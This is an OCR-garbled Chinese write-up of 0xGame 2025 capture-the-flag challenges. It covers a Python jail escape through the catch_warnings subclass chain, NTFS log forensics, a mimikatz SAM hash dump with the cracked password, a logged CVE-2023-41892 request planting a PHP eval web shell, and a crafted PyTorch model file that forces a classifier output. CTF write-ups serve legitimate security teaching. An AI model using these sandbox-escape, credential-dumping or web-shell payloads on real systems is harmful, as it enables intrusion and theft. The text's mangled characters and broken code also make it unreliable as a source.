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BEERE, RUATZpythonibiEptiz g

BEESR, BERANNNS

Please input your code here: 0xGame2025
Execution error: SyntaxError: invalid hexadecimal literal

XEEFeval | REEHRITRIAN, TRERITHSIED
EIRFET "builtins": None BI7F#E, pythondRIRBREL (Wopen, import) #FEEMA.
F RN ™MESSIRS, FTHASRIBER

>Please input your code here: [ c for c in ()._class__.__base__._ subclasses__() if

Cc.__name__ == 'catch_warnings' ]1[0]()._module.__builtins__['__import__'J('os').Tistdir(".

>Code have been executed
>Return value: ['main.py', 'to_player']

BEEto_playeri2 B EBEHK B EAEIMain.py, EmainfEE&8RIERR, FLEIHE—TEBTE8R
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>[ ¢ for c in (O._class__.__base__._ _subclasses__() if c.__name__ == 'catch_warnings' ][0]
O ._module.__builtins__['__import__']J('sys').modules['_main__'].__dict__.keys(Q)
>Code have been executed

>Return value: dict_keys(['_name__', '__doc__', '__package__', '__loader__', '__spec__',
'__annotations__', '_builtins__', '__file__', '__cached__"', 'os', 'socket', 'subprocess',
'sys', 'random', 'hashlib', 'string', 'jail', 'handle', 'daemon_main', 'flag_hint'])

B, SEaEflag hintlIRE

>Please input your code here: [ c for c in ()._class__.__base__._ subclasses__() if
c.__name__ == 'catch_warnings' J[0]()._module.__builtins__['__import__"]
('sys').modules['_main__'].__dict__['flag_hint'] #Hirflag_hintZa K

>Code have been executed

>Return value: <function flag_hint at Ox7ffb12884900>

>PTease input your code here: [ c¢ for ¢ in ().__class__._ _base__.__subclasses__() if
C.__name__ == 'catch_warnings' ]1[0]()._module.__builtins__['__import__"']
('sys').modules['_main__"'].__dict__['flag_hint']() #HATiEH)

>there are some important information for you

>that's all,have fun!!!

>Code have been executed

>PTease input your code here: [ c¢ for ¢ in ().__class__.__base__.__subclasses__() if
C.__name__ == 'catch_warnings' ]1[0]()._module.__builtins__['__import__"']
('sys').modules['_main__"'].__dict__['flag_hint'].__code__.co_consts

#TTE W Eibco_consts

>Code have been executed

>Return value: (None, 'there are some important information for you',
'49a635cd124174a4b3e0d4c02b6224ddfaabc5e2640600cc195e29f21075dd93 ",

'"MEOHeAi C+BTLhH3FKhTOMQ==",

'j+W4S'FLJ L4wNOrx2Qi03wqbDXDb37DNtYjeYoBVIeKOt4wSUb/Sx4B8/804zXA439", "that's all,have
fun!!!™)

KRIM="MEREhexFIFNbaseb447FE

ATHBRINELL, (PATEEEMain.py, EIEA:

Please input your code here: [ c for c in ().__class__.__base__.__subclasses__() if
C.__name__ == 'catch_warnings' ][0]() ._module.__builtins__['__import_']J('os').read(4,
10000)

SJjaillFEEE, AKMATHER, EEPAN=ME

key = '49a635cd124174a4b3e0d4c02b6224ddfaabc5e2640600cc195e29f21075dd93"’
IV = 'MEOHeAiC+B1LhH3FKh10MQ=="
Ciphertext = 'j+W4sfLIL4wWNOrXx2Qi03wgDXDb37DNtYjeYoBVIeKOt4wSUb/Sx4B8/804zXxA419"

#IKTRAES-256-CBCIIZEIRT,, MREMAIT

import base64
import hashTib
from Crypto.Cipher import AES



key_hex = '49a635cd124174a4b3e0d4c02b6224ddfaabc5e2640600cc195e29f21075dd93"’
IV_b64 = 'MEOHeAiC+B1LhH3FKh10MQ=="
cipher_b64 = 'j+w4sfLIL4wWNOrx2Qi03wgbDXDb37DNtYjeYoBVIekOt4wSUb/Sx4B8/804zXA419"

key = bytes.fromhex(key_hex)
iv = base64.b64decode(IV_b64)
cipher_text = base64.b64decode(cipher_b64)

cipher = AES.new(key, AES.MODE_CBC, iv)
plain = cipher.decrypt(cipher_text)

pad_Ten = plain[-1]
flag = plain[:-pad_len]

print(flag.decode())

OxGame{Contratulations!You_solved_pyjail!}

NTFS{REezMi

ARR NEER: Autopsy, LogFileParser, DB Browser
ScFaAutopsyiEREvhdIXffF, #EI$Logfile (HE) FHHREFIR?E
ZIafEFLogFileParserfi#tfr$LogfileSXf4, ZERUT
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&) NTFS $LogFile Parser 2.0.0.53 — X

$LogFile WsersiAdmin\Desktopi$logFi1le Select $LogFile
Fragment Byroken transaction fragment (optional) Select fragment

WFT: Output of latest mft2esv (optional) | Get MFT csv |

| Dinestwp 5| PrecisiofiaSes .| (Osplit o Precisio
E:t;E:?oded timestamps to specific UTC: 0.00 - I:r.:f:-fi:ilv
EiTifE:?? 0000-00-00 00:00:00 20120807 23:41:16. 4389660 EjSkip Fixups
E::&vaﬁhv' J__ 2x7C [ JUnicode[ |Reconstruct data 1 [ JRebuild headers {in = [ |Broken $LogFil
Sectersper g M record  jopg  ISN errer 0.1 Uit

[ JSouwrce is from 32-bit 05 [ |Extract non + resident updates of 2

ISH = to\trigger verbose output (comma | Start ﬁxit

ranavata

fLogFile prochsing finished in 1 . A
Importing csv = to db and updating tables

Csv import and table updates took 1 I

Done!

Decoding $LogFile data and writing to csv

Processing LogFile page 512 of 512
Elapsed time =1 P

FXIhfE DB BrowseryTHFSQLites {4 ntfs.db (a4 THEGEE")
EXHPHEIX—1T, MEREXRIE GBI

l=| 1f_FileName TEXT “1f_FileName” TEXT

BNSQLAF S EIRAEEF 2

SELECT 1f_FileName

FROM IndexEntries

WHERE Tf_FileName GLOB '[0-9]*.txt'
ORDER BY 1f_CTime ASC;

REERE N EFRFhRHERT

nums = [
13643046854681979,
6426765720352224837,
6876554908428166514,
28539333146592819,



555819389

def to_bytes_big_endian(n):
Tength = (n.bit_Tength() + 7) // 8
return n.to_bytes(length, "big")

s = .join(to_bytes_big_endian(n).decode("Tatinl") for n in nums)
print(s)

OxGame{YOu_H@VE_nnAsTered_NTF3!!!}

PNIIES

FBFTKIEELEO13ME, TEroottfEBR T#KE c: \windows\System32\config BRfE, IRENSAMFISYSTEM32FNIZ{4
(tnE)

el DR AL

..... ke SaN

..... k¥ SAM.LOGL

..... k¥ SAM.LOGZ

..... k¥ SECURITY

..... k¥ SECURITY.LOGI
.....  SECURITY.LOGZ
..... k SOFTWARE

..... h SOFTVARE. LOG1
..... k SOFTWARE. LOGZ
..... ke SYSTEN

..... ke SYSTEM. LOGI
..... e SYSTEN. LOG2

ZETEminikatz, fEexed i\ Tsadump: :sam /sam:SAM /system:SYSTEM IREUXFANSGAINGE L, FIBE
UL TIS IR R4

RID : 000003e8 (1000)
User : OxGame

Hash NTLM: e9b6uU5edfe@B®le3555df8Uu36UBUdeach

e9b645edfe001e3555df8436404deact
ntim

Eif

EifER:
12345gwerty

ZJaTE c:\phpstudy_pro\www\site\storage\logs\web-2025-09-02.1og 4L EE, STERIEIZERCE
B
CVE-2023-41892
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MATWTwS

"HTTP_REFERER’ => "http://192. 168. 58. 3:8080/

"HTTF_ACCEFT =» " text/html, application/zhtml+zml, application/zml:q=0. 9, inage/avif, image/
"HTTP_USER_AGENT =» " <%php echo “<9php @ewval ($ _POST [171737:%"» » shell.php ;9%
"HTTP_UPGRADE_INSECURE _REQUESTS => "1

Trrmmm o AsarmreRtm omunTe’ o 7 ce i1 oL f han Fan emmen e cemed e o

Bl echo A<?php @evalA($A_POSTA[IAJA)A;?A> > shell.php
PREEFTFF C: \phpstudy_pro\Extensions\MysSQL5.7.26\data\db\db_users.ibd

FB010 Editor&BE RS, ARG

B.n.€€£€. adminha
cker@example.com

This is the hdck
3r's_p@sswOrd!!!
€€™-  F.™- F.™ T

e EIC:\ProgramData, AI—EHRAIEE, FTFFAIR— P secretSXHHIE R34
{ERVeraCryptiEHHRFRSE, ERERER (FBHweek3wp)
ZIEALERI =AU

= important file.txt 2025/8/31 15:56
\=] password.csv 2025/8/31 16:48
5] usernames.csv 20257972 0:24

important_filel @8 RMAIE R
ZIERRBAREDHT, FwiresharkiJFHEZRsmbiy, HKEMKSvridge334

KIxF0xgaammee.comifzia 7 =R, EHIENE EEpasswordRHAE=PEIBhP3$VKc@7mXrioL (LR LM T —

N ¥il))
ZEEiEdnstmy, 3
3865601 535.693886 192.168.58.244 192.168.58.243 DNS 154
Standard query response 0xf83b
SOA OXWIN7PC.0Oxgaammee.com

SOA Oxgamedc.Oxgaammee.com
A 192.168.58.244

EZF1ENL0xgaammee.comFlOxgamedc (FEBEKE)

o AREEX!

& OxGame{Thls_tUsk_ls_TREMENDOUSLY_blg_and_b3autiful_isnt_1t?} &
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Web

IBREH#ARE: BIZEEEERStocking

(RREFEST M pytorch)

RIEER, ReEEEpthsXf4,

it cake confidence < 24

result|[ 'flag’
result[

IR RIS it flaghIERy

.environ.get( FLAG', me{Pant

‘Warning Cake'

return jsonify(result)

S ER BENT B IIA <kitflag

MERIAIN T :

import torch
from collections impor

state_dict = OrderedDi

state_dict['feature.0
state_dict['feature.0
state_dict['feature.3
state_dict['feature.3
state_dict['feature.6
state_dict['feature.6.
state_dict['classifier

state_dict['classifier.
state_dict['classifier.
state_dict['classifier.

state_dict['classifier

state_dict['classifier.

torch.save(state_dict,

t OrderedDict

ctQ

.weight'] = torch.randn(32, 3, 3, 3)
.bias'] =
.weight'] = torch.randn(64, 32, 3, 3)
.bias'] =
.weight'] = torch.randn(128, 64, 3, 3)

torch.randn(32)
torch.randn(64)

bias'] = torch.randn(128)
.0.weight'] = torch.randn(256, 128 *
0.bias'] = torch.randn(256)
3.weight'] = torch.randn(128, 256)
3.bias'] = torch.randn(128)

.5.weight'] = torch.zeros(3, 128)
5.bias'] torch.tensor([-1le6, le6,

"final_cake.pth"™) #F5{ hpth it

7% 7)

-1le6])

poisoned apple confidence > cake confidence:
<ing with Garterbelt}")

FEcmdhcdZWRBERIBIESEpythonIMEFIETT, BIRT4mkpth3fd, LEEIEREMEEHRIAT

‘@| final_cake pth

FeRisE

MFE EfEZRkT!
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ZERUERRMAEE, B LEERRIT

Cake: 0%
Porisoned_Apple: 100%
Other: 0%

Result: Porisoned_Apple
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